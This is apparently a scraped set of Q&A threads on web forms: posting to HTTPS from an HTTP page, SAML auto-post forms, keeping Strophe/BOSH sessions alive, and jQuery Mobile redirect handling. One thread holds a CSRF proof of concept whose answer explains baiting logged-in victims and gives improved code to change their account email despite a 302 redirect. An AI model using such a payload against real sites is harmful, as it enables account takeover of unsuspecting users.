Facebook currently uses HTTPS whenever your password is sent to us
So when I go to http://www.facebook.com and click login, they have sent my username and password through https even though I am not on a https connection yet.
Does anyone know how this works?
The form's action is https://www.facebook.com/login.php?login_attempt=1. The page with the login form doesn't need to be https, as it is just used to craft a request to the https page.
Also, since http is stateless, you're not really "on" a connection until the moment you send a request. After you get a response, and the page draws, you are no longer "on" the connection.
When you are creating a form just post it to a https page.
<html>
<body>
<form action="https://mypage.com" method="POST">
<input type="text" name="mytext" />
<input type="submit />
</form>
</body>
</html>
This should work even though you are not a https secured page.
Related
Using CA SiteMinder for implementing SAML solution. SP init flow is being tested. But the browser display is stuck on login page where creds are entered but on background authentication is successful and xhtml form with SAMLResponse inside in it (verified on browser DEV tools) is generated. JavaScript is already enabled on the browser. Logs are not helpful as the SAMLResponse is generated successfully. The below is the form seen on browser DEV tools. I modified the SAMLResponse. The behaviour is same on IE browser too. Is it the problem of UI not being able to understand/process XHTML? Please suggest how this can be solved.
<html>
<HEAD><META HTTP-EQUIV='PRAGMA' CONTENT='NO-CACHE'><META HTTP-EQUIV='CACHE-CONTROL' CONTENT='NO-CACHE'><TITLE>SAML 2.0 Auto-POST form</TITLE></HEAD>
<body onLoad="document.forms[0].submit()">
<NOSCRIPT>Your browser does not support JavaScript. Please click the 'Continue' button below to proceed. <br><br></NOSCRIPT>
<form action="https://agiledev-groupncs.msappproxy.net/IdP/SSO.aspx" method="POST">
<input type="hidden" name="SAMLResponse" value="JpYnV0ZVZhbHVlPgogICAgICAgICAgICA8L25zMjpBdHRyaWJ1dGU+CiAgICAgICPC9uczI6QXNzZXJ0aW9uPgo8L1Jlc3BvbnNlPg==">
<NOSCRIPT><INPUT TYPE="SUBMIT" VALUE="Continue"></NOSCRIPT>
</form>
</body>
</html>
I have made a CSRF PoC :
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="hacker0ne#gmail.com">
<input type="submit" value="submit">
</form>
</body>
</html>
But when I run code, it doesn't work! I have check for the request and I found that request have status code : 302
Can anyone tell me why it happen and how to fix it!!!Thanks!!!(Sorry if bad English)
Status code 302 is a 3xx code: this is the family of redirect status codes. More precisely, status code 302 denotes that the resource was temporarily moved from the requested URL to another URL.
This status code was introduced in the HTTP 1.0 specification, and is replaced by status code 303 in the HTTP 1.1 specification.
When getting an HTTP response with status code 302, you will also get back a Location header with an URL as its value: this is the URL where you are redirected. Most browsers do this automatically, issuing an identical request to the new URL, but depending on your tool this may not be the case.
In this case, I assume your CSRF works as follows:
You create a fake webpage with the HTML code above, which hides the form fields.
You bait an unsuspecting user into visiting this webpage, hoping he is logged in.
The form is submitted to the URL with the logged in user's cookie (session ID or whatnot), unbeknownst to the user, thus executing the malicious action with the parameters which you control on behalf of the user.
The problem is here that you are sending the form to an URL which gives you back another URL, which is where you should send the form. However, the request must come from the user's browser, so as to send his cookie.
One way of fixing this would be to figure out if the redirect URL is always the same, and hardcode this URL into your form instead of the original one.
Another way, which is safer, would be to recover this URL programmatically (for example with an XHR getResponseHeader) and then send the request to the redirect URL.
The latter way could be implemented as follows:
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form id="malicious" action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="hacker0ne#gmail.com">
<input type="submit" value="submit">
</form>
<script>
const XHR = new XMLHttpRequest();
XHR.onreadystatechange = function() {
if (XHR.readyState == 4 && XHR.status == 302) {
// Send the form again to the correct URL
const redirectURL = XHR.getResponseHeader("Location");
document.getElementById("malicious").setAttribute("action", redirectURL);
}
}
// Get the redirect URL
XHR.open("POST", "https://website.com");
XHR.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XHR.send("utf8=✓&email_address[name]=hacker&email_address[address]=hacker0ne#gmail.com");
</script>
</body>
</html>
I tested this implementation with httpstat, which generates responses with the status code you want. When the user presses the submit button, the form should be submitted to the correct URL. This does assume that you are indeed getting the 302 code and the browser/tool does not perform an automatic redirect!
I have successfully configured SAML SSO with OpenAM as SP and PingFederate as IDP with SP-Initiated SSO and using Redirect-Post binding. I am using kerberos adapter for implementing SSO.
However I cannot pass RelayState parameter from OpenAM to PF and get it back as part of SAML auto post form after successful authentication. It always redirects to OpenAM Assertion Processing Service i.e. openam/metalias/sp
Things I tried -
SAML authentication and custom redirect URL
SSO - SAML, Redirect a user to a specified landing page after successful log in
I created binding in Idp in attributes mapping with name "RelayState" but it appears as part of signed SAMLResponse and not extra parameter in the auto post back form, so openam is not able to get RelayState.
I also tried passing RelayState as url-encoded as well as passing it with name TargetResource. But no luck.
<!-- template name: form.autopost.template.html -->
#set( $messageKeyPrefix = "form.autopost.template." )
<html>
<head>
<title>$templateMessages.getMessage($messageKeyPrefix, "title")</title>
<meta name="referrer" content="origin"/>
<meta http-equiv="x-ua-compatible" content="IE=edge" />
</head>
<body onload="javascript:document.forms[0].submit()">
<noscript>
<p>
<strong>$templateMessages.getMessage($messageKeyPrefix, "noteTitle"):</strong> $templateMessages.getMessage($messageKeyPrefix, "note")
</p>
</noscript>
<form method="post" action="$action">
#foreach( $name in $formControls.keySet() )
<input type="hidden" name="$escape.escape($name)" value="$escape.escape($formControls.get($name))"/>
#end
<input type="hidden" name="RelayState" value="https://www.google.com"/>
<noscript><input type="submit" value="$templateMessages.getMessage($messageKeyPrefix, "resume")"/></noscript>
</form>
</body>
</html>
I out of curiosity modified pingfederate autopost form to foce include RelayState parameter and it it worked.
So I need to find a way where I can pass this information to PF and PF can then pass it back to SP-OpenAM after authentication done adding extra parameter to SAMLResponse form.
Using 'saml2/jsp/spSSOInit.jsp' instead of SAML2 authentication module URL solved this issue.
I am building a web-application chat. I want to know how to send the connection status once the authentication is successful to the next page. The gateway would be the login page.
login.html
<html>
<script src="scripts/login.js"></script>
<script src="scripts/strophe.js"></script>
<form>
JID: <input type="text" name="username" id="username"><br/>
Password: <input type="password" name="password" id="password">
<input type="button" value="Connect" id="connect"/>
</form>
</html>
login.js
var BOSH_SERVICE = "http://127.0.0.1:7070/http-bind/";
$(function{
var connection = new Strophe.Connection(BOSH_SERVICE);
var jid = $('#username').val();
var password = $('#password').val();
//connection
connection.connect(jid, password, callback());
});
function callback(status){
//authentication code here
else if(status==Strophe.Status.CONNECTED){
log(connected);
windows.location = "chat.html";
}
}
How do I keep the session alive so that when the page redirects to chat.html it will still be connected. Thanks. Need help really soon.
You can store the BOSH 'sid' and 'rid' values, either locally or on the server, and re-attach to the connection from the new page.
An overview of doing with Strophe.js is described in this article: Getting attached to Strophe. Other libraries will likely have similar mechanisms, as this is a common BOSH technique.
I am using jQuery 1.6.4 with jQuery Mobile 1.0.1. I am running into an issue anytime you link to a page that then tries to do a 301 redirect.
I've setup a sample page at: http://www.widgetsandburritos.com/jquery-mobile-test/
The only thing on this page is the jQuery Mobile includes and a link to another page that has a 301 redirect somewhere else.
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.0.1/jquery.mobile-1.0.1.min.css" />
<script src="http://code.jquery.com/jquery-1.6.4.min.js"></script>
<script src="http://code.jquery.com/mobile/1.0.1/jquery.mobile-1.0.1.min.js"></script>
</head>
<body>
301 test
</body>
</html>
301test.php has the following content:
<?php
header( "HTTP/1.1 301 Moved Permanently" );
header( "Location: 301success.html" );
?>
This should just simply pass the browser to 301success.html. It works if you directly go to that URL
http://www.widgetsandburritos.com/jquery-mobile-test/301test.php
But when you click on the link from the page using jQuery Mobile, it shows "undefined" instead. Is jQuery Mobile currently incapable of handling redirects?
Any possible work arounds?
Thanks for your help.
EDIT [3/23/12 12:41AM CST]
I also posted this problem on the jQuery Mobile forums. Somebody there recommended adding rel="external" to the anchor tag. This technically works if all you are doing is making a link, but won't fix the issue if you get to the redirect via some other mechanism, such as a POST request.
To illustrate, I've setup a secondary test at http://www.widgetsandburritos.com/jquery-mobile-test/test2.html
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://code.jquery.com/mobile/1.0.1/jquery.mobile-1.0.1.min.css" />
<script src="http://code.jquery.com/jquery-1.6.4.min.js"></script>
<script src="http://code.jquery.com/mobile/1.0.1/jquery.mobile-1.0.1.min.js"></script>
</head>
<body>
<form method="post" action="301test.php">
<input type="submit" value="test" />
</form>
</body>
</html>
Instead of arriving at the 301test.php redirect page from a link, it's now the location of a form we're submitting to. The context this would be used, would be such that if you submit a form with errors, it would stay on the same page allowing you to correct the errors. If there were no errors, it redirects you to a success page. This is done to avoid submitting the form again if a user refreshes their browser. It works brilliantly in normal web applications. But in combo with jQuery Mobile it doesn't seem to work.
Just thought I'd give some additional context to anyone else following this issue.
Figured out the answer to my own problem. In the above, I mentioned that this was causing problems using the <form> tag. After browsing through the jQuery Mobile documentation I found this page: http://jquerymobile.com/test/docs/forms/forms-sample.html
The trick here is if you're doing a form, to force it to not use AJAX. You do this by adding
data-ajax="false" to the FORM tag.
So this changes
<form method="post" action="301test.php">
to
<form method="post" action="301test.php" data-ajax="false">
And just to reiterate what was said above. If you need to do something with an anchor link, just add rel="external" to it.
So this changes
301 test
to
301 test
The issue is deeper. Take a look here or here.
It seems that XMLHttpRequest object (the one used for doing AJAX requests) handles redirects on its own and returns the final response. Which means that jQuery Mobile can't know that it should update the URL.
The solution is to use the data-url attribute on the final page. It forces jQuery Mobile to update the URL in the browser. Kind of a workaround but far from being a hack.
By the way there are more issues with jQuery Mobile, AJAX and redirects - for instance if you click the browser's back button after an AJAX-redirect, jQuery Mobile (up till 1.1) might produce a final page under the URL of the redirecting page. Therefore using data-ajax="false" is a wise choice.
EDIT:
But even data-ajax="false" is not a bullet-proof solution. Using it splits your mobile app into multiple browser pages, which brings all sorts of browser differences to the party. For instance Firefox has so called bf cache whereas Chrome doesn't. This is an unholy mess and I'm starting to think that something like Sencha Touch is much better suited for developing pages that pretend to be mobile apps.
EDIT 2:
Alternatively, one could avoid regular form submissions and use own AJAX code for that and then switch pages based on the result, but I cannot resist thinking that it's 2012 and such things should automated and work flawlessly without sweating.
I'm currently building an application but even though I am logged in, I stay on the login page, and I do not get redirected. I used the data-ajax="false"
this is the code of the form:
<section id="login">
<h2>Want to take a ride? <span>Login</span></h2>
<form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post" data-ajax="false">
<?php if(!empty($feedback_error)): ?>
<div id="feedback_error">
<p><h1><?php echo $feedback_error ?></h1></p>
</div>
<?php endif; ?>
<input id="username" type="text" name="username" placeholder="username" />
<input id="password" type="password" name="password" placeholder="password" />
<p>Not yet signed up? <a href="register.php" >Register</a></p>
<input type="submit" name="btnLogin" data-theme="b" value="Sign in">
</form>
</section>